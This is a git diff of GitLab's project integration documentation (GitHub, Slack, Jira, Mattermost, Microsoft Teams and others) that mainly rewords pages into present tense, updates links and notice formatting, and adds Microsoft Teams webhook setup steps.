b/doc/user/project/integrations/github.md index 29818e862e0..5ef36ff4074 100644 --- a/doc/user/project/integrations/github.md +++ b/doc/user/project/integrations/github.md @@ -1,7 +1,7 @@ --- stage: Create group: Ecosystem -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # GitHub project integration **(PREMIUM)** @@ -20,7 +20,7 @@ and is automatically configured on [GitHub import](../../../integration/github.m ### Complete these steps on GitHub -This integration requires a [GitHub API token](https://docs.github.com/en/github/authenticating-to-github/creating-a-personal-access-token) +This integration requires a [GitHub API token](https://docs.github.com/en/free-pro-team@latest/github/authenticating-to-github/creating-a-personal-access-token) with `repo:status` access granted: 1. Go to your "Personal access tokens" page at <https://github.com/settings/tokens> @@ -49,8 +49,7 @@ to configure pipelines to run for open pull requests. This makes it possible to mark these status checks as _Required_ on GitHub. With **Static status check names** enabled on the integration page, your -GitLab instance host name is going to be appended to a status check name, -whereas in case of dynamic status check names, a branch name is going to be -appended. +GitLab instance host name is appended to a status check name, +whereas in case of dynamic status check names, a branch name is appended.  diff --git a/doc/user/project/integrations/gitlab_slack_application.md b/doc/user/project/integrations/gitlab_slack_application.md index 62fccb22d36..8344baebd82 100644 --- a/doc/user/project/integrations/gitlab_slack_application.md +++ b/doc/user/project/integrations/gitlab_slack_application.md @@ -1,7 +1,7 @@ --- stage: Create group: Ecosystem -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # GitLab Slack application **(FREE ONLY)** @@ -9,7 +9,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w > - Introduced in GitLab 9.4. > - Distributed to Slack App Directory in GitLab 10.2. -NOTE: **Note:** +NOTE: The GitLab Slack application is only configurable for GitLab.com. It will **not** work for on-premises installations where you can configure the [Slack slash commands](slack_slash_commands.md) service instead. We're planning @@ -25,8 +25,7 @@ The simplest way to enable the GitLab Slack application for your workspace is to install the [GitLab application](https://slack-platform.slack.com/apps/A676ADMV5-gitlab) from the [Slack App Directory](https://slack.com/apps). -Clicking install will take you to the -[GitLab Slack application landing page](https://gitlab.com/profile/slack/edit) +Clicking install takes you to the [GitLab Slack application landing page](https://gitlab.com/profile/slack/edit) where you can select a project to enable the GitLab Slack application for.  @@ -40,7 +39,7 @@ Keep in mind that you need to have the appropriate permissions for your Slack team in order to be able to install a new application, read more in Slack's docs on [Adding an app to your workspace](https://slack.com/help/articles/202035138-Add-an-app-to-your-workspace). -To enable GitLab's service for your Slack team: +To enable the GitLab service for your Slack team: 1. Go to your project's **Settings > Integration > Slack application** (only visible on GitLab.com). @@ -71,7 +70,7 @@ GitLab error: project or alias not found After confirming the installation, you, and everyone else in your Slack team, can use all the [slash commands](../../../integration/slash_commands.md). -When you perform your first slash command you will be asked to authorize your +When you perform your first slash command, you are asked to authorize your Slack user on GitLab.com. The only difference with the [manually configurable Slack slash commands](slack_slash_commands.md) diff --git a/doc/user/project/integrations/hangouts_chat.md b/doc/user/project/integrations/hangouts_chat.md index 54f9bd8d622..06dcca6eb44 100644 --- a/doc/user/project/integrations/hangouts_chat.md +++ b/doc/user/project/integrations/hangouts_chat.md @@ -1,7 +1,7 @@ --- stage: Create group: Ecosystem -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Hangouts Chat service @@ -14,7 +14,7 @@ The Hangouts Chat service sends notifications from GitLab to the room for which 1. Open the chat room in which you want to see the notifications. 1. From the chat room menu, select **Configure Webhooks**. -1. Click on **ADD WEBHOOK** and fill in the name of the bot that will post the messages. Optionally define avatar. +1. Click on **ADD WEBHOOK** and fill in the name of the bot to post the messages. Optionally define an avatar. 1. Click **SAVE** and copy the **Webhook URL** of your webhook. See also [the Hangouts Chat documentation for configuring incoming webhooks](https://developers.google.com/hangouts/chat/how-tos/webhooks) @@ -30,6 +30,6 @@ When you have the **Webhook URL** for your Hangouts Chat room webhook, you can s 1. Paste the **Webhook URL** that you copied from the Hangouts Chat configuration step. 1. Configure the remaining options and click `Save changes`. -Your Hangouts Chat room will now start receiving GitLab event notifications as configured. +Your Hangouts Chat room now starts receiving GitLab event notifications as configured.  diff --git a/doc/user/project/integrations/hipchat.md b/doc/user/project/integrations/hipchat.md index 718f00273bd..7b90d8d7cfd 100644 --- a/doc/user/project/integrations/hipchat.md +++ b/doc/user/project/integrations/hipchat.md @@ -1,7 +1,7 @@ --- stage: Create group: Ecosystem -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Atlassian HipChat @@ -19,7 +19,7 @@ HipChat v1 API (legacy) supports "API Auth Tokens" in the Group API menu. A v1 token is allowed to send messages to *any* room. HipChat v2 API has tokens that are can be created using the Integrations tab -in the Group or Room admin page. By design, these are lightweight tokens that +in the Group or Room administration page. By design, these are lightweight tokens that allow GitLab to send messages only to *one* room. ### Complete these steps in HipChat diff --git a/doc/user/project/integrations/img/microsoft_teams_select_incoming_webhook.png b/doc/user/project/integrations/img/microsoft_teams_select_incoming_webhook.png Binary files differnew file mode 100644 index 00000000000..216e65a8b30 --- /dev/null +++ b/doc/user/project/integrations/img/microsoft_teams_select_incoming_webhook.png diff --git a/doc/user/project/integrations/index.md b/doc/user/project/integrations/index.md index 0a1db5da61d..0e5163e992a 100644 --- a/doc/user/project/integrations/index.md +++ b/doc/user/project/integrations/index.md @@ -1,13 +1,13 @@ --- stage: Create group: Ecosystem -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Project integrations You can find the available integrations under your project's -**Settings ➔ Integrations** page. You need to have at least +**Settings > Integrations** page. You need to have at least [maintainer permission](../../permissions.md) on the project. ## Integrations @@ -16,13 +16,13 @@ Integrations allow you to integrate GitLab with other applications. They are a bit like plugins in that they allow a lot of freedom in adding functionality to GitLab. -[Learn more about integrations.](overview.md) +Learn more [about integrations](overview.md). ## Project webhooks Project webhooks allow you to trigger a URL if for example new code is pushed or a new issue is created. You can configure webhooks to listen for specific events -like pushes, issues or merge requests. GitLab will send a POST request with data +like pushes, issues or merge requests. GitLab sends a POST request with data to the webhook URL. -[Learn more about webhooks.](webhooks.md) +Learn more [about webhooks](webhooks.md). diff --git a/doc/user/project/integrations/irker.md b/doc/user/project/integrations/irker.md index bb4a5b2b97f..8dd7e4309b4 100644 --- a/doc/user/project/integrations/irker.md +++ b/doc/user/project/integrations/irker.md @@ -1,20 +1,20 @@ --- stage: Create group: Ecosystem -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Irker IRC Gateway GitLab provides a way to push update messages to an Irker server. When -configured, pushes to a project will trigger the service to send data directly +configured, pushes to a project trigger the service to send data directly to the Irker server. See the project homepage for further information: <https://gitlab.com/esr/irker> ## Needed setup -You will first need an Irker daemon. You can download the Irker code +You first need an Irker daemon. You can download the Irker code [from its repository](https://gitlab.com/esr/irker): ```shell @@ -26,8 +26,8 @@ This script is the gateway script, it acts both as an IRC client, for sending messages to an IRC server obviously, and as a TCP server, for receiving messages from the GitLab service. -If the Irker server runs on the same machine, you are done. If not, you will -need to follow the firsts steps of the next section. +If the Irker server runs on the same machine, you are done. If not, you +need to follow the first steps of the next section. ## Complete these steps in GitLab @@ -40,7 +40,7 @@ need to follow the firsts steps of the next section. 1. Enter the server port of `irkerd` (e.g. defaults to 6659) in the `Server port` field on the Web page. 1. Optional: if `Default IRC URI` is set, it has to be in the format - `irc[s]://domain.name` and will be prepend to each and every channel provided + `irc[s]://domain.name` and is prepended to each and every channel provided by the user which is not a full URI. 1. Specify the recipients (e.g. #channel1, user1, etc.) 1. Save or optionally click "Test Settings". @@ -48,13 +48,13 @@ need to follow the firsts steps of the next section. ## Note on Irker recipients Irker accepts channel names of the form `chan` and `#chan`, both for the -`#chan` channel. If you want to send messages in query, you will need to add +`#chan` channel. If you want to send messages in query, you need to add `,isnick` after the channel name, in this form: `Aorimn,isnick`. In this latter case, `Aorimn` is treated as a nick and no more as a channel name. Irker can also join password-protected channels. Users need to append `?key=thesecretpassword` to the channel name. When using this feature remember to -**not** put the `#` sign in front of the channel name; failing to do so will -result on Irker joining a channel literally named `#chan?key=password` henceforth +**not** put the `#` sign in front of the channel name; failing to do so +results in Irker joining a channel literally named `#chan?key=password` henceforth leaking the channel key through the `/whois` IRC command (depending on IRC server configuration). This is due to a long standing Irker bug. diff --git a/doc/user/project/integrations/jira.md b/doc/user/project/integrations/jira.md index b4e02bbd5f3..306a16bd873 100644 --- a/doc/user/project/integrations/jira.md +++ b/doc/user/project/integrations/jira.md @@ -1,12 +1,12 @@ --- stage: Create group: Ecosystem -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # GitLab Jira integration -If you need to use Jira to track work that's implemented in GitLab, GitLab's Jira integrations make the process of working across systems more efficient. +If you need to use Jira to track work that's implemented in GitLab, Jira integrations with GitLab make the process of working across systems more efficient. This page is about the GitLab Jira integration, which is available in every GitLab project by default, allowing you to connect it to any Jira instance, whether Cloud or self-managed. To compare features with the complementary Jira Development Panel integration, see [Jira integrations](jira_integrations.md). @@ -18,7 +18,7 @@ Features include: - GitLab links to the Jira issue. - The Jira issue adds a comment with details and a link back to the activity in GitLab. - **Mention that a commit or MR resolves or closes a specific Jira issue** and when it's merged to the default branch: - - GitLab's MR displays a note that it closed the Jira issue. Prior to the merge, MRs indicate which issue they will close. + - The GitLab MR displays a note that it closed the Jira issue. Prior to the merge, MRs indicate which issue they close. - The Jira issue shows the activity and is closed or otherwise transitioned as specified in your GitLab settings. - **View a list of Jira issues directly in GitLab** **(PREMIUM)** @@ -38,7 +38,7 @@ For an overview, see [Agile Management - GitLab-Jira Basic Integration](https:// Each GitLab project can be configured to connect to an entire Jira instance. That means one GitLab project can interact with _all_ Jira projects in that instance, once -configured. Therefore, you will not have to explicitly associate +configured. Therefore, you do not have to explicitly associate a GitLab project with any single Jira project. If you have one Jira instance, you can pre-fill the settings page with a default @@ -61,7 +61,7 @@ In order to enable the Jira service in GitLab, you need to first configure the p > **Notes:** > > - The supported Jira versions are `v6.x`, `v7.x`, and `v8.x`. -> - In order to support Oracle's Access Manager, GitLab will send additional cookies +> - In order to support Oracle's Access Manager, GitLab sends additional cookies > to enable Basic Auth. The cookie being added to each request is `OBBasicAuth` with > a value of `fromDialog`. @@ -80,17 +80,18 @@ Enter the further details on the page as described in the following table. | Field | Description | | ----- | ----------- | | `Web URL` | The base URL to the Jira instance web interface which is being linked to this GitLab project. E.g., `https://jira.example.com`. | -| `Jira API URL` | The base URL to the Jira instance API. Web URL value will be used if not set. E.g., `https://jira-api.example.com`. Leave this field blank (or use the same value of `Web URL`) if using **Jira Cloud**. | +| `Jira API URL` | The base URL to the Jira instance API. Web URL value is used if not set. For example, `https://jira-api.example.com`. Leave this field blank (or use the same value of `Web URL`) if using **Jira Cloud**. | | `Username or Email` | Created in [configuring Jira](#configuring-jira) step. Use `username` for **Jira Server** or `email` for **Jira Cloud**. | | `Password/API token` |Created in [configuring Jira](#configuring-jira) step. Use `password` for **Jira Server** or `API token` for **Jira Cloud**. | -| `Transition ID` | Required for closing Jira issues via commits or merge requests. This is the ID of a transition in Jira that moves issues to a desired state. (See [Obtaining a transition ID](#obtaining-a-transition-id).) If you insert multiple transition IDs separated by `,` or `;`, the issue is moved to each state, one after another, using the given order. | +| `Jira workflow transition IDs` | Required for closing Jira issues via commits or merge requests. These are the IDs of transitions in Jira that move issues to a particular state. (See [Obtaining a transition ID](#obtaining-a-transition-id).) If you insert multiple transition IDs separated by `,` or `;`, the issue is moved to each state, one after another, using the given order. In GitLab 13.6 and earlier, field was called `Transition ID`. | To enable users to view Jira issues inside the GitLab project, select **Enable Jira issues** and enter a Jira project key. **(PREMIUM)** You can only display issues from a single Jira project within a given GitLab project. -CAUTION: **Caution:** -If you enable Jira issues with the setting above, all users that have access to this GitLab project will be able to view all issues from the specified Jira project. +WARNING: +If you enable Jira issues with the setting above, all users that have access to this GitLab project +are able to view all issues from the specified Jira project. When you have configured all settings, click **Test settings and save changes**. @@ -127,9 +128,9 @@ Jira issue IDs must be formatted in uppercase for the integration to work. ### Reference Jira issues When GitLab project has Jira issue tracker configured and enabled, mentioning -Jira issue in GitLab will automatically add a comment in Jira issue with the +Jira issues in GitLab automatically adds a comment in Jira issue with the link back to GitLab. This means that in comments in merge requests and commits -referencing an issue, e.g., `PROJECT-7`, will add a comment in Jira issue in the +referencing an issue, `PROJECT-7` for example, adds a comment in Jira issue in the format: ```plaintext @@ -145,7 +146,7 @@ ENTITY_TITLE  -For example, the following commit will reference the Jira issue with `PROJECT-1` as its ID: +For example, the following commit references the Jira issue with `PROJECT-1` as its ID: ```shell git commit -m "PROJECT-1 Fix spelling and grammar" @@ -155,8 +156,8 @@ git commit -m "PROJECT-1 Fix spelling and grammar" Jira issues can be closed directly from GitLab by using trigger words in commits and merge requests. When a commit which contains the trigger word -followed by the Jira issue ID in the commit message is pushed, GitLab will -add a comment in the mentioned Jira issue and immediately close it (provided +followed by the Jira issue ID in the commit message is pushed, GitLab +adds a comment in the mentioned Jira issue and immediately closes it (provided the transition ID was set up correctly). There are currently three trigger words, and you can use either one to achieve @@ -168,12 +169,12 @@ the same goal: where `PROJECT-1` is the ID of the Jira issue. -> **Notes:** -> -> - Only commits and merges into the project's default branch (usually **master**) will -> close an issue in Jira. You can change your projects default branch under -> [project settings](img/jira_project_settings.png). -> - The Jira issue will not be transitioned if it has a resolution. +Note the following: + +- Only commits and merges into the project's default branch (usually `master`) + close an issue in Jira. You can change your project's default branch under + [project settings](img/jira_project_settings.png). +- The Jira issue is not transitioned if it has a resolution. Let's consider the following example: @@ -183,7 +184,7 @@ Let's consider the following example: in GitLab contains the improvement 1. In the merge request description we use the issue closing trigger `Closes PROJECT-7`. -1. Once the merge request is merged, the Jira issue will be automatically closed +1. Once the merge request is merged, the Jira issue is automatically closed with a comment and an associated link to the commit that resolved the issue. In the following screenshot you can see what the link references to the Jira @@ -191,7 +192,7 @@ issue look like.  -Once this merge request is merged, the Jira issue will be automatically closed +Once this merge request is merged, the Jira issue is automatically closed with a link to the commit that resolved the issue.  @@ -244,7 +245,7 @@ If these features do not work as expected, it is likely due to a problem with th Make sure that the Jira user you set up for the integration has the correct access permission to post comments on a Jira issue and also to transition the issue, if you'd like GitLab to also be able to do so. -Jira issue references and update comments will not work if the GitLab issue tracker is disabled. +Jira issue references and update comments do not work if the GitLab issue tracker is disabled. ### GitLab is unable to close a Jira issue @@ -259,6 +260,6 @@ Jira lists.) CAPTCHA may be triggered after several consecutive failed login attempts which may lead to a `401 unauthorized` error when testing your Jira integration. -If CAPTCHA has been triggered, you will not be able to use Jira's REST API to -authenticate with the Jira site. You will need to log in to your Jira instance +If CAPTCHA has been triggered, you can't use Jira's REST API to +authenticate with the Jira site. You need to log in to your Jira instance and complete the CAPTCHA. diff --git a/doc/user/project/integrations/jira_cloud_configuration.md b/doc/user/project/integrations/jira_cloud_configuration.md index 14999734c00..b8eebef8e42 100644 --- a/doc/user/project/integrations/jira_cloud_configuration.md +++ b/doc/user/project/integrations/jira_cloud_configuration.md @@ -1,7 +1,7 @@ --- stage: Create group: Ecosystem -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Creating an API token in Jira Cloud @@ -11,7 +11,7 @@ below to create one: 1. Log in to [`id.atlassian.com`](https://id.atlassian.com/manage-profile/security/api-tokens) with your email address. - NOTE: **Note:** + NOTE: It is important that the user associated with this email address has *write* access to projects in Jira. diff --git a/doc/user/project/integrations/jira_integrations.md b/doc/user/project/integrations/jira_integrations.md index dd22c26be36..f15a5ee4429 100644 --- a/doc/user/project/integrations/jira_integrations.md +++ b/doc/user/project/integrations/jira_integrations.md @@ -1,7 +1,7 @@ --- stage: Create group: Ecosystem -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Jira integrations @@ -11,7 +11,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w GitLab Issues are a tool for discussing ideas and planning and tracking work. However, your organization may already use Jira for these purposes, with extensive, established data and business processes they rely on. -Although you can [migrate](../../../user/project/import/jira.md) your Jira issues and work exclusively in GitLab, you also have the option of continuing to use Jira by using GitLab's Jira integrations. +Although you can [migrate](../../../user/project/import/jira.md) your Jira issues and work exclusively in GitLab, you also have the option of continuing to use Jira by using the GitLab Jira integrations. ## Integrations @@ -19,7 +19,7 @@ The following Jira integrations allow different types of cross-referencing betwe - [**Jira integration**](jira.md) - This is built in to GitLab. In a given GitLab project, it can be configured to connect to any Jira instance, self-managed or Cloud. - [**Jira development panel integration**](../../../integration/jira_development_panel.md) - This connects all GitLab projects under a specified group or personal namespace. - - If you're using Jira Cloud and GitLab.com, install the [GitLab for Jira](https://marketplace.atlassian.com/apps/1221011/gitlab-for-jira) app in the Atlassian Marketplace and see its [documentation](../../../integration/jira_development_panel.md#gitlab-for-jira-app). + - If you're using Jira Cloud and GitLab.com, install the [GitLab for Jira](https://marketplace.atlassian.com/apps/1221011/gitlab-com-for-jira-cloud) app in the Atlassian Marketplace and see its [documentation](../../../integration/jira_development_panel.md#gitlab-for-jira-app). - For all other environments, use the [Jira DVCS Connector configuration instructions](../../../integration/jira_development_panel.md#configuration). ### Feature comparison diff --git a/doc/user/project/integrations/jira_server_configuration.md b/doc/user/project/integrations/jira_server_configuration.md index 38098d7d15b..d2a42c0535e 100644 --- a/doc/user/project/integrations/jira_server_configuration.md +++ b/doc/user/project/integrations/jira_server_configuration.md @@ -1,18 +1,17 @@ --- stage: Create group: Ecosystem -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Creating a username and password for Jira Server -We need to create a user in Jira which will have access to all projects that -need to integrate with GitLab. +We need to create a user in Jira to have access to all projects that need to integrate with GitLab. -As an example, we'll create a user named `gitlab` and add it to a new group +As an example, we create a user named `gitlab` and add it to a new group named `gitlab-developers`. -NOTE: **Note:** +NOTE: It is important that the Jira user created for the integration is given 'write' access to your Jira projects. This is covered in the process below. @@ -24,15 +23,16 @@ access to your Jira projects. This is covered in the process below. 1. The next step is to create a new user (e.g., `gitlab`) who has write access to projects in Jira. Enter the user's name and a _valid_ e-mail address since Jira sends a verification e-mail to set up the password. - _**Note:** Jira creates the username automatically by using the e-mail - prefix. You can change it later, if needed. Our integration does not support SSO (such as SAML). You will need to create - an HTTP basic authentication password. You can do this by visiting the user - profile, looking up the username, and setting a password._ + + Jira creates the username automatically by using the e-mail + prefix. You can change it later, if needed. Our integration does not support SSO (such as SAML). You + need to create an HTTP basic authentication password. You can do this by visiting the user + profile, looking up the username, and setting a password.  -1. Create a `gitlab-developers` group. (We will give this group write access to Jira - projects in a later step). Go to the **Groups** tab on the left, and select **Add group**. +1. Create a `gitlab-developers` group (we give this group write access to Jira + projects in a later step.) Go to the **Groups** tab on the left, and select **Add group**.  @@ -53,7 +53,7 @@ access to your Jira projects. This is covered in the process below. To do this, click the gear icon and select **Issues**. Then click **Permission Schemes**. Click **Add Permission Scheme** and enter a **Name** and, optionally, a **Description**. -1. Once your permission scheme is created, you'll be taken back to the permissions scheme list. +1. Once your permission scheme is created, you are taken back to the permissions scheme list. Locate your new permissions scheme and click **Permissions**. Next to **Administer Projects**, click **Edit**. In the resulting dialog box, select **Group** and select `gitlab-developers` from the dropdown. @@ -61,4 +61,4 @@ access to your Jira projects. This is covered in the process below.  The Jira configuration is complete. Write down the new Jira username and its -password as they will be needed when [configuring GitLab in the next section](jira.md#configuring-gitlab). +password as they are needed when [configuring GitLab in the next section](jira.md#configuring-gitlab). diff --git a/doc/user/project/integrations/kubernetes.md b/doc/user/project/integrations/kubernetes.md index ab43eb2da7e..646c9ed66d5 100644 --- a/doc/user/project/integrations/kubernetes.md +++ b/doc/user/project/integrations/kubernetes.md @@ -3,3 +3,6 @@ redirect_to: '../clusters/index.md' --- This document was moved to [another location](../clusters/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/integrations/mattermost.md b/doc/user/project/integrations/mattermost.md index c12a969ca3c..e80f672d05d 100644 --- a/doc/user/project/integrations/mattermost.md +++ b/doc/user/project/integrations/mattermost.md @@ -1,7 +1,7 @@ --- stage: Create group: Ecosystem -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Mattermost Notifications Service @@ -15,11 +15,11 @@ You can also use Mattermost slash commands to control GitLab inside Mattermost. To enable Mattermost integration you must create an incoming webhook integration: 1. Sign in to your Mattermost instance. -1. Visit incoming webhooks, that will be something like: `https://mattermost.example.com/your_team_name/integrations/incoming_webhooks/add`. +1. Visit incoming webhooks, that is something like: `https://mattermost.example.com/your_team_name/integrations/incoming_webhooks/add`. 1. Choose a display name, description and channel, those can be overridden on GitLab. -1. Save it, copy the **Webhook URL**, we'll need this later for GitLab. +1. Save it and copy the **Webhook URL** because we need this later for GitLab. -Incoming Webhooks might be blocked on your Mattermost instance. Ask your Mattermost admin +Incoming Webhooks might be blocked on your Mattermost instance. Ask your Mattermost administrator to enable it on: - **Mattermost System Console > Integrations > Integration Management** in Mattermost @@ -27,7 +27,7 @@ to enable it on: - **Mattermost System Console > Integrations > Custom Integrations** in Mattermost versions 5.11 and earlier. -Display name override is not enabled by default, you need to ask your admin to enable it on that same section. +Display name override is not enabled by default, you need to ask your administrator to enable it on that same section. ## On GitLab @@ -35,7 +35,7 @@ After you set up Mattermost, it's time to set up GitLab. Navigate to the [Integrations page](overview.md#accessing-integrations) and select the **Mattermost notifications** service to configure it. -There, you will see a checkbox with the following events that can be triggered: +There, you see a checkbox with the following events that can be triggered: - Push - Issue @@ -55,7 +55,7 @@ At the end, fill in your Mattermost details: | Field | Description | | ----- | ----------- | -| **Webhook** | The incoming webhook URL which you have to set up on Mattermost, it will be something like: `http://mattermost.example/hooks/5xo…` | +| **Webhook** | The incoming webhook URL which you have to set up on Mattermost, similar to: `http://mattermost.example/hooks/5xo…` | | **Username** | Optional username which can be on messages sent to Mattermost. Fill this in if you want to change the username of the bot. | | **Notify only broken pipelines** | If you choose to enable the **Pipeline** event and you want to be only notified about failed pipelines. | diff --git a/doc/user/project/integrations/mattermost_slash_commands.md b/doc/user/project/integrations/mattermost_slash_commands.md index 5e08767d3f0..6c8a0ded2ae 100644 --- a/doc/user/project/integrations/mattermost_slash_commands.md +++ b/doc/user/project/integrations/mattermost_slash_commands.md @@ -1,7 +1,7 @@ --- stage: Create group: Ecosystem -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Mattermost slash commands @@ -37,13 +37,13 @@ commands in Mattermost and then enable the service in GitLab. ### Step 1. Enable custom slash commands in Mattermost -This step is only required when using a source install, Omnibus installs will be +This step is only required when using a source install. Omnibus installs are preconfigured with the right settings. The first thing to do in Mattermost is to enable custom slash commands from the administrator console. -1. Log in with an account that has admin privileges and navigate to the system +1. Log in with an account that has administrator privileges and navigate to the system console.  @@ -61,13 +61,12 @@ the administrator console. 1. Open a new tab for GitLab, go to your project's [Integrations page](overview.md#accessing-integrations) and select the **Mattermost command** service to configure it. - A screen will appear with all the values you need to copy in Mattermost as + A screen appears with all the values you need to copy in Mattermost as described in the next step. Leave the window open. - NOTE: **Note:** - GitLab will propose some values for the Mattermost settings. The only one - required to copy-paste as-is is the **Request URL**, all the others are just - suggestions. + NOTE: + GitLab offers some values for the Mattermost settings. Only **Request URL** is required + as offered, all the others are just suggestions.  @@ -93,15 +92,15 @@ in a new slash command. 1. Fill in the options for the custom command as described in [step 2](#step-2-open-the-mattermost-slash-commands-service-in-gitlab). - NOTE: **Note:** + NOTE: If you plan on connecting multiple projects, pick a slash command trigger word that relates to your projects such as `/gitlab-project-name` or even - just `/project-name`. Only use `/gitlab` if you will only connect a single + just `/project-name`. Only use `/gitlab` if you plan to only connect a single project to your Mattermost team.  -1. After you set up all the values, copy the token (we will use it below) and +1. After you set up all the values, copy the token (we use it below) and click **Done**.  @@ -120,12 +119,12 @@ GitLab project you configured. ## Authorizing Mattermost to interact with GitLab -The first time a user will interact with the newly created slash commands, -Mattermost will trigger an authorization process. +The first time a user interacts with the newly created slash commands, +Mattermost triggers an authorization process.  -This will connect your Mattermost user with your GitLab user. You can +This connects your Mattermost user with your GitLab user. You can see all authorized chat accounts in your profile's page under **Chat**. When the authorization process is complete, you can start interacting with @@ -158,7 +157,7 @@ Mattermost webhooks do not have access to private channels. If a private channel is required, you can edit the webhook's channel in Mattermost and select a private channel. It is not possible to use different channels for -different types of notifications - all events will be sent to the specified channel. +different types of notifications. All events are sent to the specified channel. ## Further reading diff --git a/doc/user/project/integrations/microsoft_teams.md b/doc/user/project/integrations/microsoft_teams.md index b2a2f1c3e7b..136da05d0e8 100644 --- a/doc/user/project/integrations/microsoft_teams.md +++ b/doc/user/project/integrations/microsoft_teams.md @@ -1,7 +1,7 @@ --- stage: Create group: Ecosystem -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Microsoft Teams service @@ -9,7 +9,21 @@ info: To determine the technical writer assigned to the Stage/Group associated w ## On Microsoft Teams To enable Microsoft Teams integration you must create an incoming webhook integration on Microsoft -Teams by following the steps described in [Sending messages to Connectors and Webhooks](https://docs.microsoft.com/en-us/microsoftteams/platform/webhooks-and-connectors/how-to/connectors-using). +Teams by following the steps below: + +1. Search for "incoming webhook" on the search bar in Microsoft Teams and select the + **Incoming Webhook** item. + +  + +1. Click the **Add to a team** button. +1. Select the team and channel you want to add the integration to. +1. Add a name for the webhook. The name is displayed next to every message that + comes in through the webhook. +1. Copy the webhook URL for the next steps. + +Learn more about +[setting up an incoming webhook on Microsoft Teams](https://docs.microsoft.com/en-us/microsoftteams/platform/webhooks-and-connectors/how-to/connectors-using#setting-up-a-custom-incoming-webhook). ## On GitLab @@ -17,7 +31,7 @@ After you set up Microsoft Teams, it's time to set up GitLab. Navigate to the [Integrations page](overview.md#accessing-integrations) and select the **Microsoft Teams Notification** service to configure it. -There, you will see a checkbox with the following events that can be triggered: +There, you see a checkbox with the following events that can be triggered: - Push - Issue diff --git a/doc/user/project/integrations/mock_ci.md b/doc/user/project/integrations/mock_ci.md index 4567d345336..18f0ad6b275 100644 --- a/doc/user/project/integrations/mock_ci.md +++ b/doc/user/project/integrations/mock_ci.md @@ -1,7 +1,7 @@ --- stage: Create group: Ecosystem -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Mock CI Service diff --git a/doc/user/project/integrations/overview.md b/doc/user/project/integrations/overview.md index a502dfbf320..c391877be20 100644 --- a/doc/user/project/integrations/overview.md +++ b/doc/user/project/integrations/overview.md @@ -1,7 +1,7 @@ --- stage: Create group: Ecosystem -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Integrations @@ -39,7 +39,7 @@ Click on the service links to see further configuration instructions and details | [Emails on push](emails_on_push.md) | Email the commits and diff of each push to a list of recipients | No | | External Wiki | Replaces the link to the internal wiki with a link to an external wiki | No | | Flowdock | Flowdock is a collaboration web app for technical teams | No | -| [Generic alerts](../../../operations/incident_management/generic_alerts.md) **(ULTIMATE)** | Receive alerts on GitLab 